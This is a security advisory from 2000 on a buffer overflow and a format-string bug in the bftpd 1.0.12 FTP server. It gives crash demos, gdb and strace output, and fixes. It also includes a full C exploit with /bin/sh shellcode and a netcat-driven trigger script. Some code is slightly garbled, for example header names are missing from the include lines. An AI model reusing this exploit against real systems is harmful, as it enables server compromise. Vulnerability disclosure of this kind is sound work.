|
Home : Advisories : Potential security problem in bftpd (Buffer Overflow and format bug)
Title: |
Potential security problem in bftpd (Buffer Overflow and format bug) |
Released by: |
Christophe Bailleux |
Date: |
10th December 2000 |
Printable version: |
Click here |
Subject : Potential security problem in bftpd (Buffer Overflow and format bug)
Author : Christophe BAILLEUX (cb@grolier.fr)
Greetings : Greetings to ASYNCHRO (asynchro@PKCREW.ORG) for his first advisory
Plateforms : *nix
Test version : bftpd-1.0.12
I. Introduction
bftpd is a Linux FTP server with chroot and setreuid. Not all FTP commands
are included.
It accesses either the user's home directory or its.
ftp subdirectory, and user authentication is via passwd/shadow or PAM.
II. Problem
The lastest version of BFTPD has potentials security problems in the fuctions
"sendstrf" and "dirlist" inside the "distlir.c" file when the generated file by the output of
the LIST and NLST commands is above 200 chars or holds strings form type %p%p%p%p
III. Details/Demo
A) Code problem
bftpd-1.0.12/dirlist.c
- In the function "sendstrf"
21 int sendstrf(int s, char *format, ...) {
22 va_list val;
23 char buffer[256];
24 va_start(val, format);
25 vnprintf(buffer, format, val); // Buffer Overflow
26 va_end(val);
27 return send(s, buffer, strlen(buffer), 0);
28 }
- In the function "dirlist"
60 else
61 foo = 1;
62 sendstrf(s, entry->d_name); // Format Bug
63 }
B) Demo / gdb output
a) Buffer overflow in the LIST command
1- demo
tshaw:~/longfile$ pwd
/home/cb/longfile
tshaw:~/longfile$ touch `perl -e 'print "A"x213'`
tshaw:~/longfile$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connected to localhost.
220 bftpd 1.0.12 at 127.0.0.1 ready.
Name (localhost:cb): cb
331 Password please.
Password:
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd longfile
250 OK
ftp> ls
200 PORT 127.0.0.1:1858 OK
150 Data connection established.
drwxr-xr-x 2 1000 100 4096 Dec 8 02:53 .
drwxr-xr-x 55 1000 100 4096 Dec 8 02:48 ..
-rw-r--r-- 1 1000 100 0 Dec 8 02:53 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
421 Service not available, remote server has closed connection
ftp>
2- gdb output
tshaw:/home/cb# gdb /usr/sbin/bftpd 29751
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
/home/cb/29751: No such file or directory.
Attaching to program: /usr/sbin/bftpd, Pid 29751
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_compat.so.2...done.
Loaded symbols for /lib/libnss_compat.so.2
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
0x400e7514 in read () from /lib/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x $esp
0xbffffadc: 0x41414141
(gdb)
b) Format bug in the NLST command
1- demo
tshaw:~/longfile$ touch "%p%p%p%p%p%p%p%p%p%p"
Connected to localhost.
220 bftpd 1.0.12 at 127.0.0.1 ready.
Name (localhost:cb): cb
331 Password please.
Password:
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd longfile
250 OK
ftp> nlist
200 PORT 127.0.0.1:1865 OK
150 Data connection established.
. .. 0xbffffd080x8049e500x804bb41(nil)(nil)0x10000000x804f4d8(nil)(nil)0x49
226 Directory list has been submitted.
ftp>
tshaw:~/longfile$ touch "%s%s%s%s%s%s%s"
Connected to localhost.
220 bftpd 1.0.12 at 127.0.0.1 ready.
Name (localhost:cb): cb
331 Password please.
Password:
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd longfile
250 OK
ftp> ls
200 PORT 127.0.0.1:1869 OK
150 Data connection established.
drwxr-xr-x 2 1000 100 4096 Dec 8 03:00 .
drwxr-xr-x 55 1000 100 4096 Dec 8 02:48 ..
-rw-r--r-- 1 1000 100 0 Dec 8 03:00 %s%s%s%s%s%s%s
226 Directory list has been submitted.
ftp> nlist
200 PORT 127.0.0.1:1871 OK
150 Data connection established.
. .. 421 Service not available, remote server has closed connection
ftp>
2- gdb output
tshaw:/home/cb# gdb /usr/sbin/bftpd 29526
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
/home/cb/29526: No such file or directory.
Attaching to program: /usr/sbin/bftpd, Pid 29526
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_compat.so.2...done.
Loaded symbols for /lib/libnss_compat.so.2
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
0x400e7514 in read () from /lib/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x4008d196 in vfprintf () from /lib/libc.so.6
(gdb) where
#0 0x4008d196 in vfprintf () from /lib/libc.so.6
#1 0x40099f76 in vsnprintf () from /lib/libc.so.6
#2 0x804a417 in sendstrf (s=4, format=0x804f577 "%s%s%s%s%s%s")
at dirlist.c:26
#3 0x804a670 in dirlist (name=0x804b64b ".", s=4, verbose=0 '\000')
at dirlist.c:63
#4 0x8049e55 in do_dirlist (dirname=0xbffffd08 "", verbose=0 '\000')
at commands.c:314
#5 0x8049e95 in command_nlst (dirname=0xbffffd08 "") at commands.c:324
#6 0x804a37c in parsecmd (str=0xbffffd08 "") at commands.c:482
#7 0x804ad2a in main (argc=1, argv=0xbffffe54) at main.c:129
#8 0x400602e7 in __libc_start_main () from /lib/libc.so.6
(gdb)
IV. Exploit and Demo
It's not possible to exploit it with a standart exploit...
bftpd-1.0.12/login.c contains a piece of code using the "chroot" and setregid functions, and denying the
execution of /bin/sh or another programz by a local user.
41 if(chroot(str)) {
42 fprintf(stderr, "421 Unable to change root directory.\r\n");
43 exit(0);
44 }
The remote exploit it's not possible. See the first message da asynchro :)
With the following exploit, I can request bftpd (run by the user "cb") to run the
/bin/sh command.
-- BEGIN exploit.c --
/*
Creates a filname to exploit the bug in bftpd 1.0.12
Create the file, cwd in the shell directory and nlist the file directory.
Coded by korty
*/
#include
#include
#include
#include
#define LEN 205
int main (int argc, char **argv)
{
char buf[LEN + 12];
int ret = 0xbffffa80;
int *p;
int fp;
char code[]=
/*
* Linux/x86
*
* toupper() evasion, standard execve() /bin/sh (used eg. in various
* imapd exploits). Goes through a loop adding 0x20 to the
* (/bin/sh -= 0x20) string (ie. yields /bin/sh after addition).
*/
/* main: */
"\xeb\x29" /* jmp callz */
/* start: */
"\x5e" /* popl %esi */
"\x29\xc9" /* subl %ecx, %ecx */
"\x89\xf3" /* movl %esi, %ebx */
"\x89\x5e\x08" /* movl %ebx, 0x08(%esi) */
"\xb1\x07" /* movb $0x07, %cl */
/* loopz: */
"\x80\x03\x20" /* addb $0x20, (%ebx) */
"\x43" /* incl %ebx */
"\xe0\xfa" /* loopne loopz */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
"\x29\xc0" /* subl %eax, %eax */
"\x40" /* incl %eax */
"\xcd\x80" /* int $0x80 */
/* callz: */
"\xe8\xd2\xff\xff\xff" /* call start */
"\x0f\x42\x49\x4e\x0f\x53\x48"; /* /bin/sh -= 0x20 */
if (argc > 1) {
ret += atoi(argv[1]);
fprintf(stderr, "Using ret %#010x\n", ret);
}
memset(buf, '\x90', LEN);
memcpy(buf + LEN - strlen(code), code, strlen(code));
p = (int *) (buf + LEN);
*p++ = ret;
*p++ = ret;
*p = 0;
fp = open(buf, O_CREAT);
if(fp < 0) perror("buf");
close(fp);
}
-- END exploit.c --
Run netcat on the port 1028 (nc -l -p 1028)
and use that program
-- BEGIN list.c --
#include
int main()
{
#define USER "cb"
#define PASS "PasSwoRd"
#define PORT "port 127,0,0,1,4,4" // Data on the port 1028 with the addr 127.0.0.1
#define CWD "cwd longfile"
#define LIST "list"
printf("user %s\n", USER);
sleep(1);
printf("pass %s\n", PASS);
sleep(1);
printf("%s\n", PORT);
sleep(1);
printf("%s\n", CWD);
sleep(1);
printf("%s\n", LIST);
}
-- END list.c --
A) DEMO
tshaw:~/longfile$ gcc -o exploit exploit.c
tshaw:~/longfile$ ls
exploit* exploit.c list.c
tshaw:~/longfile$ ls
exploit* exploit.c list.c
tshaw:~/longfile$ ./exploit
tshaw:~/longfile$ ls
exploit*
exploit.c
list.c
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\313)^)\311\211\323\211^\b\221\a\200\003\ C
\300\332)\300\210F\a\211F\f\220\v\203\323\211K\b\211S\f\311\200)\300\@\311\200\310\322\333
\333\333\013BIN\013SH\200\332\333\233\200\332\333\233*
tshaw:~/longfile$
tshaw:~/longfile$ gcc -o list list.c
tshaw:~/longfile$ nc -l -p 1028 &
[1] 29973
tshaw:~/longfile$
tshaw:~/longfile$ (./list ; cat) | nc localhost 21
220 bftpd 1.0.12 at 127.0.0.1 ready.
331 Password please.
230 User logged in.
200 PORT 127.0.0.1:1028 OK
250 OK
150 Data connection established.
drwxr-xr-x 2 1000 100 4096 Dec 8 04:06 .
drwxr-xr-x 55 1000 100 4096 Dec 8 04:02 ..
-rw-r--r-- 1 1000 100 323 Dec 8 04:06 list.c
-rwxr-xr-x 1 1000 100 11931 Dec 8 04:06 list
-rw-r--r-- 1 1000 100 2178 Dec 8 03:54 exploit.c
-rwxr-xr-x 1 1000 100 12861 Dec 8 03:56 exploit
-r-xr--r-- 1 1000 100 0 Dec 8 03:56
ë)^)ɉ󉱀 Càú)ÀˆF‰F
°
‡óS
Í€)À@Í€èÒÿÿÿBINSH€úÿ¿€úÿ¿
[1]+ Done nc -l -p 1028
tshaw:~/longfile$
B) STRACE OUTPUT
tshaw:~# ps -aef |grep bftpd
cb 30128 62 0 Dec04 ? 00:00:00 bftpd
root 30136 30024 0 Dec04 ttyqa 00:00:00 grep bftpd
tshaw:~# strace -p 30128
read(0, "\n", 4096) = 1
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4
setsockopt(4, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(4, SOL_SOCKET, SO_SNDBUF, [65536], 4) = 0
bind(4, {sin_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("127.0.0.1")}}, 16) = 0
connect(4, {sin_family=AF_INET, sin_port=htons(1028), sin_addr=inet_addr("127.0.0.1")}}, 16) = 0
write(2, "150 Data connection established."..., 34) = 34
open("/dev/null", O_RDONLY|O_NONBLOCK|0x10000) = -1 ENOENT (No such file or directory)
stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
open(".", O_RDONLY|O_NONBLOCK|0x10000) = 5
fstat(5, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
fcntl(5, F_SETFD, FD_CLOEXEC) = 0
brk(0x8052000) = 0x8052000
getdents(5, /* 7 entries */, 3933) = 328
stat("./.", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
send(4, "drwxr-xr-x 2 1000 100 "..., 58, 0) = 58
stat("./..", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
send(4, "drwxr-xr-x 55 1000 100 "..., 59, 0) = 59
stat("./list.c", {st_mode=S_IFREG|0644, st_size=323, ...}) = 0
send(4, "-rw-r--r-- 1 1000 100 "..., 63, 0) = 63
stat("./list", {st_mode=S_IFREG|0755, st_size=11931, ...}) = 0
send(4, "-rwxr-xr-x 1 1000 100 "..., 61, 0) = 61
stat("./exploit.c", {st_mode=S_IFREG|0644, st_size=2178, ...}) = 0
send(4, "-rw-r--r-- 1 1000 100 "..., 66, 0) = 66
stat("./exploit", {st_mode=S_IFREG|0755, st_size=12861, ...}) = 0
send(4, "-rwxr-xr-x 1 1000 100 "..., 64, 0) = 64
stat("./
ë)^)ɉ󉱀 Càú)ÀˆF‰F
°
‡óS
Í€)À@Í€èÒÿÿÿBINSH€úÿ¿€úÿ¿", {st_mode=S_IFREG|S_ISUID|0544, st_size=0, ...}) = 0
send(4, "-r-xr--r-- 1 1000 100 "..., 270, 0) = 270
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = -1 ENOENT (No such file or directory)
_exit(-1073743151) = ?
tshaw:~#
If i disable the chroot function in login.c, the exploit works.
V. Workaround
A) Buffer Overflow
In bftpd-1.0.11/dirlist.c
Modify the line 25
vsprintf(buffer, format, val);
by
vsnprintf(buffer, sizeof(buffer), format, val);
B) Format Bug
In bftpd-1.0.11/dirlist.c
Modify the line 62
sendstrf(s, entry->d_name);
by
sendstrf(s, "%s", entry->d_name);
VI. Greetings :)
Greetings to :
Asynchro for your advisory :)
DV for your help.
NoldErisE for the translation. My english sux... :)
Deda Team.
kalou.
Ouaou ki fait le Ouaou!@#.
Clebi Clebo
And hummmmmmm my mother :)
Best Regards,
|